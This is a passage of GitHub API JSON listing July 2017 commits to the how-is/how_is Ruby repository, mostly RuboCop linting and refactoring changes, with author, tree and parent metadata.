4MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T19:40:05Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T19:40:05Z"},"message":"Merge pull request #178 from olleolleolle/fix/rubocop-warnings\n\nRuboCop linting","tree":{"sha":"0cee141d8e0c9d060ed5b001851ec6624c43439c","url":"https://api.github.com/repos/how-is/how_is/git/trees/0cee141d8e0c9d060ed5b001851ec6624c43439c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","html_url":"https://github.com/how-is/how_is/commit/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d"},{"sha":"9c3214ddd70d57316088d65bdf4711fa880fa167","url":"https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167","html_url":"https://github.com/how-is/how_is/commit/9c3214ddd70d57316088d65bdf4711fa880fa167"}]},{"sha":"cc93e409ebcc3c008312ffb0421a2a660760ff2c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2M5M2U0MDllYmNjM2MwMDgzMTJmZmIwNDIxYTJhNjYwNzYwZmYyYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:29:01Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:29:01Z"},"message":"Add config file for github_changelog_generator","tree":{"sha":"fd4fa5c0cb35316cdc194e20d29faf879f67db74","url":"https://api.github.com/repos/how-is/how_is/git/trees/fd4fa5c0cb35316cdc194e20d29faf879f67db74"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c","html_url":"https://github.com/how-is/how_is/commit/cc93e409ebcc3c008312ffb0421a2a660760ff2c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d"}]},{"sha":"9c3214ddd70d57316088d65bdf4711fa880fa167","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWMzMjE0ZGRkNzBkNTczMTYwODhkNjViZGY0NzExZmE4ODBmYTE2Nw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:08:20Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:08:20Z"},"message":"Lint: extract HTML template from a method","tree":{"sha":"0cee141d8e0c9d060ed5b001851ec6624c43439c","url":"https://api.github.com/repos/how-is/how_is/git/trees/0cee141d8e0c9d060ed5b001851ec6624c43439c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9c3214ddd70d57316088d65bdf4711fa880fa167","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167","html_url":"https://github.com/how-is/how_is/commit/9c3214ddd70d57316088d65bdf4711fa880fa167","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"a0fa99d78b499a6cae4c670ce3446f5751b57cec","url":"https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec","html_url":"https://github.com/how-is/how_is/commit/a0fa99d78b499a6cae4c670ce3446f5751b57cec"}]},{"sha":"a0fa99d78b499a6cae4c670ce3446f5751b57cec","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTBmYTk5ZDc4YjQ5OWE2Y2FlNGM2NzBjZTM0NDZmNTc1MWI1N2NlYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:02:35Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:02:35Z"},"message":"Avoid long method","tree":{"sha":"c82261913dcbd48d24a40b7d44e455c0b0eabade","url":"https://api.github.com/repos/how-is/how_is/git/trees/c82261913dcbd48d24a40b7d44e455c0b0eabade"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec","html_url":"https://github.com/how-is/how_is/commit/a0fa99d78b499a6cae4c670ce3446f5751b57cec","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a71713e839a175cd4ba49f054d9f7b42c4c548b","url":"https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b","html_url":"https://github.com/how-is/how_is/commit/4a71713e839a175cd4ba49f054d9f7b42c4c548b"}]},{"sha":"4a71713e839a175cd4ba49f054d9f7b42c4c548b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGE3MTcxM2U4MzlhMTc1Y2Q0YmE0OWYwNTRkOWY3YjQyYzRjNTQ4Yg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:54:04Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:54:04Z"},"message":"Comment worded clearer.","tree":{"sha":"deb63aff27d8016cfd88b8e67ff8b72e7f75f192","url":"https://api.github.com/repos/how-is/how_is/git/trees/deb63aff27d8016cfd88b8e67ff8b72e7f75f192"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b","html_url":"https://github.com/how-is/how_is/commit/4a71713e839a175cd4ba49f054d9f7b42c4c548b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"2a0613095eb547adde99796836150a2a808b62d6","url":"https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6","html_url":"https://github.com/how-is/how_is/commit/2a0613095eb547adde99796836150a2a808b62d6"}]},{"sha":"2a0613095eb547adde99796836150a2a808b62d6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmEwNjEzMDk1ZWI1NDdhZGRlOTk3OTY4MzYxNTBhMmE4MDhiNjJkNg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:32:32Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:32:32Z"},"message":"Analyzer: extract method to avoid long method","tree":{"sha":"c017189399dbb4a13008eb8957e7bd43cd052d72","url":"https://api.github.com/repos/how-is/how_is/git/trees/c017189399dbb4a13008eb8957e7bd43cd052d72"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2a0613095eb547adde99796836150a2a808b62d6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6","html_url":"https://github.com/how-is/how_is/commit/2a0613095eb547adde99796836150a2a808b62d6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"dddba7e686a8c0aca4a35b4374bca9500cc11fb2","url":"https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","html_url":"https://github.com/how-is/how_is/commit/dddba7e686a8c0aca4a35b4374bca9500cc11fb2"}]},{"sha":"dddba7e686a8c0aca4a35b4374bca9500cc11fb2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGRkYmE3ZTY4NmE4YzBhY2E0YTM1YjQzNzRiY2E5NTAwY2MxMWZiMg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:11:15Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:11:15Z"},"message":"RuboCop: add TODO file","tree":{"sha":"fffd4bc58707e558beae60988afffac4a5542854","url":"https://api.github.com/repos/how-is/how_is/git/trees/fffd4bc58707e558beae60988afffac4a5542854"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","html_url":"https://github.com/how-is/how_is/commit/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"50106851573b4cf68569d7546a7c7c60b03c7e07","url":"https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07","html_url":"https://github.com/how-is/how_is/commit/50106851573b4cf68569d7546a7c7c60b03c7e07"}]},{"sha":"50106851573b4cf68569d7546a7c7c60b03c7e07","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTAxMDY4NTE1NzNiNGNmNjg1NjlkNzU0NmE3YzdjNjBiMDNjN2UwNw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:10:34Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:10:34Z"},"message":"RuboCop cop re-namespaced","tree":{"sha":"61561170ff46d97c40b6e695f6363449d7a9c042","url":"https://api.github.com/repos/how-is/how_is/git/trees/61561170ff46d97c40b6e695f6363449d7a9c042"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/50106851573b4cf68569d7546a7c7c60b03c7e07","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07","html_url":"https://github.com/how-is/how_is/commit/50106851573b4cf68569d7546a7c7c60b03c7e07","comments_url":"https://api.github.com/repos/how-is/how_is/commits/50106851573b4cf68569d7546a7c7c60b03c7e07/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"84697990597c0ea2950cc93b8c0f75daa42f1d5b","url":"https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b","html_url":"https://github.com/how-is/how_is/commit/84697990597c0ea2950cc93b8c0f75daa42f1d5b"}]},{"sha":"84697990597c0ea2950cc93b8c0f75daa42f1d5b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODQ2OTc5OTA1OTdjMGVhMjk1MGNjOTNiOGMwZjc1ZGFhNDJmMWQ1Yg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:07:52Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:07:52Z"},"message":"Lint: avoid too long line","tree":{"sha":"33e1a7f4425cd5fbe373803ef5404a6030b8f3ae","url":"https://api.github.com/repos/how-is/how_is/git/trees/33e1a7f4425cd5fbe373803ef5404a6030b8f3ae"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b","html_url":"https://github.com/how-is/how_is/commit/84697990597c0ea2950cc93b8c0f75daa42f1d5b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/84697990597c0ea2950cc93b8c0f75daa42f1d5b/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"279bd76a7e31311c9f7137da97750e1a045ed138","url":"https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138","html_url":"https://github.com/how-is/how_is/commit/279bd76a7e31311c9f7137da97750e1a045ed138"}]},{"sha":"279bd76a7e31311c9f7137da97750e1a045ed138","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mjc5YmQ3NmE3ZTMxMzExYzlmNzEzN2RhOTc3NTBlMWEwNDVlZDEzOA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:44:28Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:44:28Z"},"message":"RuboCop rule: Style/StringLiterals double_quotes","tree":{"sha":"1a67e3471627e70d69b2b5ec7a521e09ce56e827","url":"https://api.github.com/repos/how-is/how_is/git/trees/1a67e3471627e70d69b2b5ec7a521e09ce56e827"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/279bd76a7e31311c9f7137da97750e1a045ed138","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138","html_url":"https://github.com/how-is/how_is/commit/279bd76a7e31311c9f7137da97750e1a045ed138","comments_url":"https://api.github.com/repos/how-is/how_is/commits/279bd76a7e31311c9f7137da97750e1a045ed138/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":